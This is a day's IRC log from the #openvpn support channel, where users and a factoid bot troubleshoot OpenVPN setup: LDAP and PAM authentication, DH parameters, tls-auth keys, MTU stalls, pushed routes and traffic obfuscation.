04:00 < xTz> this bot doesnt like me
04:03 < jozko> :)
04:11 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
04:11 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
04:13 -!- Denial [Denial@90.202.26.221] has joined #openvpn
04:22 < xTz> I cant see this option documented in the howto
04:24 < xTz> found it in the man
04:36 -!- _br_ [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
04:42 -!- devdel [~d3vd3l@h-237-32.a199.priv.bahnhof.se] has joined #openvpn
04:42 < jozko> krzee can help u
04:42 < jozko> write your problem
04:42 < jozko> :)
04:48 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 248 seconds]
04:49 -!- HyperGlide [~HyperGlid@li385-100.members.linode.com] has quit [Remote host closed the connection]
04:55 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
04:55 -!- iokill [~iokill@91.114.127.102] has quit [Max SendQ exceeded]
04:56 -!- iokill [~iokill@91.114.127.102] has joined #openvpn
05:55 -!- jozko [~nandi1111@dial-95-105-172-95-orange.orange.sk] has quit [Ping timeout: 276 seconds]
06:27 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
06:28 < xTz> I dont have a problem, I just needed info about this setting
06:40 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
06:49 -!- xBytez [~xbytez@xbytez.xxx] has joined #openvpn
06:52 <@ecrist> krzee: I'll make the change for you
07:02 <@ecrist> krzee: https://www.secure-computing.net/trac/changeset/339/SCN%20Open%20Source
07:02 <@vpnHelper> Title: Changeset 339 – SCN Open Source (at www.secure-computing.net)
07:09 -!- verysoftoiletppr [~verysofto@unaffiliated/softtoiletpaper] has joined #openvpn
07:10 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:16 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:16 -!- Barbaria3dude [~james@188.26.161.217] has joined #openvpn
07:17 < Barbaria3dude> !welcome
07:17 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
07:17 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:17 < Barbaria3dude> !goal
07:17 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
07:17 < Barbaria3dude> !interface
07:17 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For
07:18 <@vpnHelper> Linux: iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
07:18 < Barbaria3dude> !cert
07:18 < Barbaria3dude> !certificate
07:18 < Barbaria3dude> !certificates
07:18 < Barbaria3dude> !sample
07:18 <@vpnHelper> "sample" is (#1) http://www.ircpimps.org/openvpn.configs for a working sample config or (#2) DO NOT use these configs until you understand the commands in them, read up on each first column of the configs in the manpage (see !man) or (#3) these configs are for a basic multi-user vpn, which you can then build upon to add lans or internet redirecting
07:19 < Barbaria3dude> !man
07:19 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
07:19 < Barbaria3dude> Sorry for abusing your bot but it was helpful :)
07:20 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:21 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:21 < Barbaria3dude> !mitm
07:21 <@vpnHelper> "mitm" is (#1) http://openvpn.net/index.php/documentation/howto.html#mitm to know about stopping Man-in-the-Middle attacks by signing the server cert specially or (#2) use !servercert to generate the server cert manually or use the easy-rsa build-key-server script to build your server certificates or (#3) then use: remote-cert-tls server in the client config
07:22 < Barbaria3dude> !servercert
07:22 <@vpnHelper> "servercert" is (#1) openssl req -days 3650 -nodes -new -keyout server.key -out server.csr -extensions server -config ./openssl.cnf && openssl ca -days 3650 -out server.crt -in server.csr -extensions server -config ./openssl.cnf && chmod 0600 server.key or (#2) or just use build-key-server in easy-rsa or (#3) this will help with !mitm
07:22 -!- verysoftoiletppr [~verysofto@unaffiliated/softtoiletpaper] has quit [Read error: Connection reset by peer]
07:22 < Barbaria3dude> !clientcert
07:23 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:28 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:30 -!- MonkZ [~monkz@unaffiliated/monkz] has joined #openvpn
07:31 < MonkZ> hiho i've a little network problem - but unlucky it's far beyond net{ctl,cfg} - i've two interfaces a wlan and a tapdevice (via openvpn) - my wlaninterface has 192.168.1.200/24 and my tapdev 192.168.235.51/16 - they are in distict networks. >>> NOW the problem: if someone sends a arp request for .1.200 (ip-adr of wlandev) towards my tapdev it sends a lucky "i'am .1.200 with mac $tapdev-mac". my tapdev responds to both .235.51 and .1.200. and no bridgedevi
07:32 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:33 < MonkZ> vice or ip-forwarding is configured <<< ifconfig: http://ix.io/6Qu route: http://ix.io/6Qv ip r s: http://ix.io/6Qw openvpnconf: http://ix.io/6Qy
07:33 < MonkZ> btw: OS is archlinux
07:38 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:40 < Barbaria3dude> I'm hoping this is a simple question: I have a working (I think) openvpn connection. If I do ifconfig tun0, inet and destination are the same IP address. Is this normal?
07:40 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:43 -!- JAVACODER [~JAVACODER@2.190.40.183] has joined #openvpn
07:44 -!- JAVACODER [~JAVACODER@2.190.40.183] has left #openvpn []
07:46 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:48 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:51 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:53 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
07:59 -!- tharkun [~0@187.188.166.5] has joined #openvpn
08:00 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
08:04 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:06 -!- tharkun [~0@187.188.166.5] has joined #openvpn
08:08 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has joined #openvpn
08:12 -!- tharkun [~0@187.188.166.5] has quit [Read error: Connection reset by peer]
08:19 -!- tharkun [~0@187.188.166.5] has joined #openvpn
08:22 -!- phishy [~textual@c-65-96-165-187.hsd1.ma.comcast.net] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
08:35 -!- jozko [~nandi1111@ip-85.162.194.139.o2inet.sk] has joined #openvpn
08:36 < MonkZ> arp_ignore was a solution
08:38 -!- moxie [~moxie@gateway/tor-sasl/moxie] has joined #openvpn
08:38 < moxie> has anyone used the ldap auth module?
08:39 -!- MonkZ [~monkz@unaffiliated/monkz] has left #openvpn []
08:40 -!- jozko [~nandi1111@ip-85.162.194.139.o2inet.sk] has quit []
08:41 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has quit [Excess Flood]
08:42 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
08:54 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 245 seconds]
08:59 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:06 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
09:08 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
09:22 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
09:27 -!- iokill [~iokill@91.114.127.102] has quit [Ping timeout: 246 seconds]
09:34 -!- Monotoko [~Monotoko@unaffiliated/monotoko] has joined #openvpn
09:35 < Monotoko> !welcome
09:35 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
09:35 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
09:39 < Monotoko> am I wrong in thinking that openVPN should tunnel all my traffic through my servers IP?
09:44 < rob0> did you tell it to?
09:45 -!- speed_racer81 [~speed_rac@173.45.222.229] has quit [Ping timeout: 248 seconds]
09:45 < Monotoko> rob0, not sure - it was set up by my predecessor - I assume not, is this a client side or server side setting?
09:46 -!- fischli [~fischli@data.fischer-ing.de] has quit [Quit: Leaving.]
09:47 < rob0> !redirect_gateway
09:47 < rob0> !redirect
09:47 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
09:47 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
09:47 < rob0> see --redirect_gateway in the man page
09:49 -!- monk [~aknm@unaffiliated/aknm] has quit [Remote host closed the connection]
09:59 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
10:03 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
10:08 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:10 < moxie> does openvpn-auth-ldap.so work ?
10:19 -!- JesseC [~Chumba@wsip-98-175-20-126.br.br.cox.net] has quit []
10:27 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 245 seconds]
10:36 -!- Barbaria3dude [~james@188.26.161.217] has quit [Read error: Operation timed out]
10:42 < moxie> it works except when i do RequireGroup
10:46 < moxie> this brings down the server
10:46 < moxie> Assertion
10:46 < moxie> compare.c:80
10:46 < moxie> 70
10:46 < moxie> Stopping virtual private network daemon:/etc/init.d/openvpn: 98: kill: No such process
10:50 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
10:53 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 240 seconds]
11:00 -!- JAVACODER [~JAVACODER@2.190.35.243] has joined #openvpn
11:06 -!- Devastatr [~devas@177.18.198.66] has quit []
11:08 -!- raidz_away is now known as raidz
11:10 -!- moxie [~moxie@gateway/tor-sasl/moxie] has left #openvpn ["Leaving"]
11:10 -!- moxie [~moxie@gateway/tor-sasl/moxie] has joined #openvpn
11:10 < moxie> hello, having an issue with ldap auth and groups, does anyone know how to get debugging messages other than AUTH_FAILED
11:12 < moxie> TLS Auth Error: Auth username/password verification failed for peer is all i get
11:12 < moxie> and im not even using TLS
11:13 < moxie> it works without requiregroup
11:17 -!- phishy [~textual@gw-outbound.broadinstitute.org] has joined #openvpn
11:27 -!- Barbariandude [~james@unaffiliated/barbariandude] has joined #openvpn
11:29 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:47 -!- Barbariandude [~james@unaffiliated/barbariandude] has quit [Ping timeout: 253 seconds]
11:49 -!- Barbariandude [~james@unaffiliated/barbariandude] has joined #openvpn
11:56 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
11:56 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
11:59 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Quit: Ex-Chat]
12:06 < moxie> apparently the plugin is no longer in development and doesn't work
12:06 < moxie> damn, i didnt want ot use pam
12:06 -!- phishy [~textual@gw-outbound.broadinstitute.org] has left #openvpn ["Textual IRC Client: www.textualapp.com"]
12:09 <@ecrist> what's wrong with pam?
12:09 <@ecrist> that's how I do it
12:09 < moxie> pam requires you change the system
12:10 < moxie> its a mess
12:10 < moxie> adds complexity, extra steps to provision systems, extra chance of major breakage
12:11 < Sjors> Hi
12:12 < Sjors> I just noticed that when I download a large file over openvpn, the connection stalls
12:12 < Sjors> I'm looking at MTU fixes, but now I don't get anything over the tunnel anymore
12:12 < Sjors> I use tap because I need to get a lease from the authorative DHCP server at the other end
12:13 -!- Devastator [~devas@unaffiliated/devastator] has joined #openvpn
12:13 < Sjors> I've tried setting link-mtu, tun-mtu, fragment, mssfix, in a lot of configurations, both clientside and serverside, and I've arrived at a point where I have just "fragment 1200" in both client and server config, I get no more errors in both logs, yet no package ever crosses the boundary
12:15 < Sjors> with "tun-mtu 1200" on both sides I get a warning "if you use mssfix and/or fragment, you should also set tun-mtu 1500", yet I don't use mssfix or fragment
12:19 < moxie> stupid how it works without RequireGroup
12:19 < moxie> but requiregroup doesnt work at all
12:34 < _bt> paste the  group section from your config
12:35 < moxie> not much of a point in that, ive tried all combinations of values
12:36 < moxie> but then again
12:36 < moxie> every config ive seen online has had this issue
12:36 < moxie> so not sure how iw ould get it working form only seeing broken ones
12:37 < _bt> if you don't want to paste it, then how do you expect to get help
12:39 < moxie> are you using this plugin?
12:40 < _bt> im actually playing with it as we speak
12:40 < moxie> :)
12:41 < moxie> hasnt been updated since like 2009
12:42 < moxie> which is the year in which only user supplied patches are coming in...and none are making it to realase
12:42 < _bt> the problem i am having is getting it to connect using TLS
12:42 < moxie> probably spend enough time with this...people are choosing to use ldap-utils and 30 line scripts
12:42 < moxie> yeah TLS doesnt work either
12:42 < moxie> dont bother
12:42 < _bt> depends on what version you use
12:42 < moxie> 30 line script seems far superior
12:43 < _bt> what version do you have installed?
12:44 -!- Barbariandude [~james@unaffiliated/barbariandude] has quit [Read error: Connection reset by peer]
12:44 < moxie> 2.0.3
12:45 < moxie> have to apply this to have a chance
12:45 < moxie> http://code.google.com/p/openvpn-auth-ldap/issues/attachmentText?id=7&aid=7717265956301289367&name=auth-ldap-rfc2307.patch&token=698f35acaa20bc9b30159fdec7e2e915
12:45 <@vpnHelper> Title: auth-ldap-rfc2307.patch (7.9 KB) - openvpn-auth-ldap - LDAP authentication and authorization plugin for OpenVPN 2.x - Google Project Hosting (at code.google.com)
12:45 < moxie> 2.0.3 is from 2008 actually
12:46 < moxie> i would put the group stuff in the User Search filter, but it doesnt work there either
12:46 < moxie> must be RFC2307
12:47 < _bt> TLS is fixed in 2.0.3-2
12:47 < Aketzu> can't you just use a script (which is easier to do and debug)
12:47 < _bt> at least in debian
12:48 < moxie> i have 2.0.3-5.1
12:48 < moxie> oh well
12:48 < moxie> Aketzu, yea, do you have one?:
12:48 < _bt> so newer
12:49 < moxie> yeah :/
12:49 < moxie> wish this worked
12:49 < moxie> 2 lines and a config file got my hopes up
12:53 < moxie> can anyone show me a working LDAP config
12:53 < moxie> ldap auth
12:53 < moxie> with pam or a script or whatever
12:57 -!- goldkatze_ is now known as goldkatze
13:04 < moxie> @_@ The 'uniqueMember' attribute type contains the distinguished names of
13:04 < moxie>    an object that is on a list or in a group, where the relative
13:04 < moxie>    distinguished names of the object include a value that distinguishes
13:04 < moxie>    between objects when a distinguished name has been reused.
13:05 < moxie> what the hell    1.3.6.1.4.1.1466.115.121.1.34 refers to the Name and Optional UID
13:05 < moxie> is this snmp
13:06 <@ecrist> moxie: you know you could do the LDAP stuff with a client connect script, or something, right?
13:07 <@ecrist> moxie: here's what I have in my OpenVPN server config:
13:07 <@ecrist> plugin /usr/local/lib/openvpn-auth-pam.so "login login USERNAME password PASSWORD"
13:08 <@ecrist> it uses the login PAM profile
13:08 < moxie> i don thave that file
13:09 < moxie> oh its in /usr/lib/openvpn/
13:14 < pmatulis> is there anything in the openvpn roadmap that will have p2p mode obsoleted?
13:17 < moxie> now i have to configure PAM for ldap?  wouldnt that let anyone log into the system with ldap
13:21 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
13:22 < moxie> hmm yours has "login login USERNAME password PASSWORD"
13:22 < moxie> other peoples have "openvpn"
13:22 < moxie> which is some pam thing they create
13:22 < moxie> quite the difference
13:23 <@ecrist> it's simply the PAM profile
13:23 <@ecrist> mine works, do what you like. :)
13:24 < moxie> your pam profile is quite different looking
13:24 < moxie> yeah yours works....where do you put the server name?
13:24 <@ecrist> what server name?
13:24 < moxie> ldap server
13:24 <@ecrist> ldap.conf
13:24 < moxie> hmm ok!
13:24 <@ecrist> http://www.secure-computing.net/wiki/index.php/OpenLDAP
13:24 <@vpnHelper> Title: OpenLDAP - Secure Computing Wiki (at www.secure-computing.net)
13:25 <@ecrist> more specficially  http://www.secure-computing.net/wiki/index.php/OpenLDAP/Authentication
13:25 <@vpnHelper> Title: OpenLDAP/Authentication - Secure Computing Wiki (at www.secure-computing.net)
13:25 < moxie> i see, i didnt know /etc/ldap/ existed
13:26 < BtbN> Can OpenVPN automaticaly add its tap device to an existing bridge?
13:30 < moxie> same error
13:30 < moxie> TLS Auth Error: Auth Username/Password verification failed for peer
13:30 < moxie>  Error in service module
13:31 < TheSov> hello I'm trying to setup a openvpn server with a p12 cert and a tls key, but i keep getting the error that i need a --DH file. is that necessary?
13:31 < moxie> pam is a mess
13:31 <@ecrist> moxie: read the fucking docs
13:32 <@ecrist> PAM isn't a mess, your understanding of it is
13:32 < moxie> look how many files you have to touch
13:32 < moxie> and document
13:32 <@ecrist> I've got PAM + LDAP deployed on 60+ systems without a problem
13:35 -!- Protected [~Join@bl13-98-13.dsl.telepac.pt] has joined #openvpn
13:36 < Protected> Hey
13:37 < Protected> I'm trying to set up a vpn with no dynamic address pool and some other low level changes. I was reading the manpage at https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage and in the description for --server there is a directive I don't understand: The ifconfig 10.8.0.1 10.8.0.2 one
13:37 <@vpnHelper> Title: Openvpn23ManPage – OpenVPN Community (at community.openvpn.net)
13:37 < moxie> oh let me create /usr/local/etc/nss_ldap.conf
13:37 < moxie> lol
13:38 < Protected> Could anyone explain to me what that 10.8.0.2 is?
13:39 < moxie> im sure somethign is going to look for a file in /usr/local/etc/nss_ldap.conf
13:39 < moxie> pfft
13:40 < moxie> only 110 lines in /etc/pam.d/login
13:41 < Protected> I should probably clarify I'm in server mode
13:41 < Protected> I'm wondering if it's just not used
13:45 < moxie> now to find pam_ldap.so
13:45  * ecrist puts moxie on /ignore
13:46 < moxie> ldapi:/// is a new one
13:48 -!- scyld [~scyld@unaffiliated/wasyl] has joined #openvpn
13:48 -!- scyld [~scyld@unaffiliated/wasyl] has left #openvpn []
13:49 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
13:52 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
13:54 < TheSov> can anyone help me figure out why my openvpn server setup is requesting a DH key file?
13:56 < TheSov> im using a certificate and static tls key so it shouldnt ask for that
13:58 < TheSov> moxie, are you trying to upset people who are just being helpful?
14:00 < rob0> And maybe if you annoy someone, s/he will figure it out for you? :)
14:00 <@krzee> haha
14:00 < rob0> too busy
14:02 < TheSov> can anyone help me with my server setup, im sure its just a stupid config option, but, my openvpn server is requesing a DH keyfile, i believe because im using a pkcs12 and a static key, that this shouldnt be happening, anyone know whats up?
14:02 < TheSov> ill put up a pastbin of my config
14:02 <@krzee> TheSov, pastebin the config without comments and show the error you get
14:04 < TheSov> http://pastbin.com/ncVtpNev
14:04 < TheSov> thats my config and my error is openvpn you have not specified a --DH option
14:05 < TheSov> whoa
14:05 < TheSov> dont click that
14:05 < TheSov> its misspelled
14:05 < TheSov> http://pastebin.com/ncVtpNev
14:08 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has quit [Ping timeout: 240 seconds]
14:16 < TheSov> krzee, thanks for helping, i really appreciate it
14:17 <@krzee> why are you bridging sov?
14:22 < TheSov> because im going to be double routing
14:22 < TheSov> there needs to be a single hop between networks or the ipsec freaks out
14:23 < TheSov> so im not bridging the network interface but i need the remote interface on the openvpn client to be local to the lan here
14:24 < TheSov> so tap0 should be local to the remote network if that makes any sense
14:24 <@krzee> you're running ipsec over openvpn?
14:24 <@krzee> haha ok
14:24 < TheSov> its complicated
14:24 < TheSov> but not really im using openvpn to route via ipsec
14:24 <@krzee> ya you do need to give it dh
14:24 <@krzee> server mode requires it
14:24 < TheSov> hmmm
14:25 < TheSov> even if im using a static key and a certificate?
14:25 <@krzee> its no problem, just make some dh params and add a dh config entry
14:25 <@krzee> you are NOT using static key
14:25 <@krzee> tls-auth != static key, that is hmac signatures
14:25 < TheSov> i thought i was with the tls-key
14:25 <@krzee> !statickey
14:25 <@vpnHelper> "statickey" is (#1) you can use static keys by using --secret </path/to/key> or (#2) static keys only work for ptp links, not client/server. They also do not provide forward encryption. A forward-secure encryption scheme (such as openvpn uses with certs) protects secret keys from exposure by evolving the keys with time. or (#3) see !forwardsecurity for more info
14:25 < TheSov> hmmm i see
14:25 <@krzee> !hmac
14:25 <@vpnHelper> "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS. or (#2) openvpn --genkey --secret ta.key to make the tls
14:26 <@vpnHelper> static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
14:26 < TheSov> oh so it should be 0 on the server?
14:27 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
14:27 -!- mode/#openvpn [+b *!*moxie@gateway/tor-sasl/moxie] by krzee
14:27 -!- moxie was kicked from #openvpn by krzee [such a crock!]
14:27 <@krzee> anyone can remove that ban if they want, but he was annoying me
14:28 < TheSov> is there a guide on the DH stuff because seriously i have no idea
14:28 <@krzee> !dh
14:28 <@vpnHelper> "dh" is build-dh from easy-rsa and option dh in ssl-admin, creates a file which is a prime number the size of bits you defined (1024 default) which is used in the diffie-hellman algorithm to provide a method to negotiate a secure connection over an insecure channel. just one of the layers of encryption available to you in your VPN
14:28 <@krzee> !man
14:28 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
14:28 < TheSov> basically i set this up on an pfsense box and i want to move it to ubuntu
14:28 <@krzee> see --dh in the manual, use the search function of your browser cause the manual is huge :)
14:29 < TheSov> krzee, 1 more Q, because all the certs and stuff are from the pfsense box do i have to use the same DH params it used?
14:29 <@krzee> nope, use any dh params you want
14:30 <@krzee> and change them at any time
14:30 < TheSov> but other than that my config is fine?
14:30 <@krzee> i dunno, i have never bridged
14:30 < TheSov> ahh
14:30 <@krzee> i usually steer people away from it
14:30 < TheSov> well thanks for everything i may be back LOL
14:30 < TheSov> but dont worry i wont act like moxie
14:30 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has joined #openvpn
14:30 -!- MacGyver [~MacGyver@kershaw.polvanaubel.com] has quit [Changing host]
14:30 -!- MacGyver [~MacGyver@unaffiliated/macgyvernl] has joined #openvpn
14:30 <@krzee> but it sounds like your setup is weird enough that im just not gunna try :D
14:31 < TheSov> well i can explain it if you like :P
14:31 <@krzee> nope!
14:31 <@krzee> :D
14:31 <@krzee> hahaha
14:31 < TheSov> i have multiple locations i want to talk to each other, but you cannot route via ipsec, so since i have ipsec tunnels here im going to setup openvpn end points in each of the remotes to here and route through them :P
14:32 <@krzee> why dont you just ditch ipsec lol
14:32 < TheSov> hitech...
14:32 <@krzee> super extra hitech but cant be routed over?
14:32 <@krzee> o.O
14:32 < TheSov> no i mean the medical bill
14:32 < TheSov> hitech
14:33 < TheSov> government mandates in the law
14:33 <@krzee> oh something like hippa?
14:33 < TheSov> yes
14:33 <@krzee> hahah
14:33 <@krzee> gotta love gov intervention
14:33 < TheSov> http://alnmm.com/article/hitech-act-faq
14:33 < TheSov> indeed
14:33 <@krzee> gotchya
14:33 < TheSov> im a libertarian too
14:34 < TheSov> just makes my convictions stronger heh
14:34 < TheSov> the last thing government should get involved in is technology
14:34 <@krzee> so tell me (since you work in the field)
14:34 <@krzee> is it ok to use ipsec with PSK mode?
14:34 <@krzee> or is it mandated to use certs with ipsec?
14:34 < TheSov> i havent seen that
14:35 < TheSov> we do use certs
14:35 < TheSov> no wait
14:35 < TheSov> yes
14:35 < TheSov> u have to use certs
14:35 <@krzee> right but i mean the law
14:35 < TheSov> they have to revokeable
14:35 <@krzee> ahh well at least they got that part right :)
14:35 < TheSov> im sure they consulted many experts, but in 10 years it wont matter
14:36 < TheSov> actually im pretty sure with the NSA root keys thing, it wont matter much sooner
14:36 < TheSov> so now i will have openvpn over ipsec! TRIPLE ENCAPSULATION!
14:37 -!- cjs226 [~cjs226@99-61-64-43.lightspeed.austtx.sbcglobal.net] has joined #openvpn
14:37 -!- mode/#openvpn [-bbbb *!*moxie@gateway/tor-sasl/moxie such!*@* a!*@* crock!*@*] by krzee
14:38 <@krzee> haha
14:38 < TheSov> lol
14:49 -!- renato_ [~renato@82.179.216.87.static.jazztel.es] has joined #openvpn
14:49 < renato_> hi, I need to set up a patched openvpn to be able to access it from Iran, where do I get the source code? all I can find is the openvpn.net site
14:50 < renato_> I need to get openvpn 2.3
15:05 <@krzee> renato_,
15:05 <@krzee> !ubfs
15:05 <@krzee> !obfs
15:05 <@vpnHelper> "obfs" is (#1) if you are looking to obfuscate your traffic to get through a firewall that recognizes and blocks openvpn, try using this proxy: obfsproxy https://www.torproject.org/projects/obfsproxy.html.en to encapsulate your packets in other protocols or (#2) http://community.openvpn.net/openvpn/wiki/TrafficObfuscation or (#3) in client/server mode an admin can know that openvpn is being used. in
15:05 <@vpnHelper> static-key mode they only know that it is some encrypted data, but not specifically openvpn; however with static-key you lose forward security (!forwardsecurity)
15:06 <@krzee> however, if you want the code
15:06 <@krzee> !git
15:06 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi or (#4) See !git-doc how to use git
15:10 < TheSov> iran is blocking openvpn
15:11 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
15:11 < klein> hey there, can I push more then one route to clients?
15:11 < klein> I mean, push "10.0.0.0 255.255.0.0" and push "192.168.5.0 255.255.255.0/24" ?
15:12 < TheSov> yes
15:12 < TheSov> put it on another line in the config
15:12 < klein> humm... I did but it is not working... let me check again
15:12 < TheSov> push route
15:12 < TheSov> not push
15:13 -!- Muffins [~nanderson@69.146.233.50] has joined #openvpn
15:13 <@krzee> !push
15:13 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
15:14 <@krzee> like TheSov pointed out, you forgot the actual command "route"
15:15 < TheSov> today im all over openvpn, im getting my yellow belt in openvpn-fu
15:15 <@krzee> hahah
15:15 < kisom> TheSov: Your clients also need to --pull
15:15 <@krzee> kisom, you mean klein
15:16 < kisom> I do
15:16 < klein> I did it like this: http://pastebin.com/iLzCxTHW
15:16 < klein> if I let only the first push in the ccd file it runs fine... IF I put all of them... it does not work...
15:17 <@krzee> what lan is the client on?
15:17 <@krzee> (one that conflicts with one of those?)
15:17 <@krzee> and what do your logs say?
15:18 < klein> no, client lan is 10.54.0.0/16
15:19 < klein> Wed Jul 24 17:17:57 2013 Options error: Unrecognized option or missing parameter(s) in [PUSH-OPTIONS]:5: route10.0.0.0255.255.0.0 (2.3.1)
15:19 < klein> hummm... maybe I should use SPACES instead of TABS on the ccd file, let me check
15:21 -!- JAVACODER [~JAVACODER@2.190.35.243] has quit [Ping timeout: 240 seconds]
15:21 <@krzee> you using tabs?
15:21 <@krzee> heh
15:21 <@krzee> ya do that
15:21 < klein> LOL... that was the problem :-(
15:25 < klein> sorry... I should have seen that on logs before botter you
15:25 < klein> so.. ok... now I have learned: NOT USE TABS ON OPENVPN PUSH CONFIGS haahaha
15:30 -!- pppingme [~pppingme@unaffiliated/pppingme] has quit [Ping timeout: 260 seconds]
15:36 -!- Protected [~Join@bl13-98-13.dsl.telepac.pt] has quit [Quit: Gone.]
15:38 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
15:44 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
15:48 -!- michaelhart [~michaelha@162.209.1.130] has quit [Quit: michaelhart]
16:03 -!- Denial [Denial@90.202.26.221] has quit []
16:15 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
16:39 -!- renato_ [~renato@82.179.216.87.static.jazztel.es] has quit [Quit: Konversation terminated!]
16:44 -!- klein [~klein@unaffiliated/klein] has quit [Read error: Operation timed out]
16:49 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
